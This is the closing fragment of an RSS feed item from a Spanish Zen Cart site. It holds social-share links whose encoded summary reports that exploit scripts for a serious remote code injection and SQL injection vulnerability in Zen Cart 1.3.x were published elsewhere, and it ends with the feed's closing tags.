	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F&amp;title=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=En%20milw0rm.com%20se%20publican%20dos%20scripts%20%28inyecci%26oacute%3Bn%20de%20c%26oacute%3Bdigo%2C%20inyecci%26oacute%3Bn%20de%20SQL%29%20para%20explotar%20una%20grave%20vulnerabilidad%20que%20afecta%20a%20toda%20la%20rama%201.3.x%20de%20Zen%20Cart%20y%20que%20permite%20inyectar%20c%26oacute%3Bdigo%20de%20forma%20remota%20en%20el%20director" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
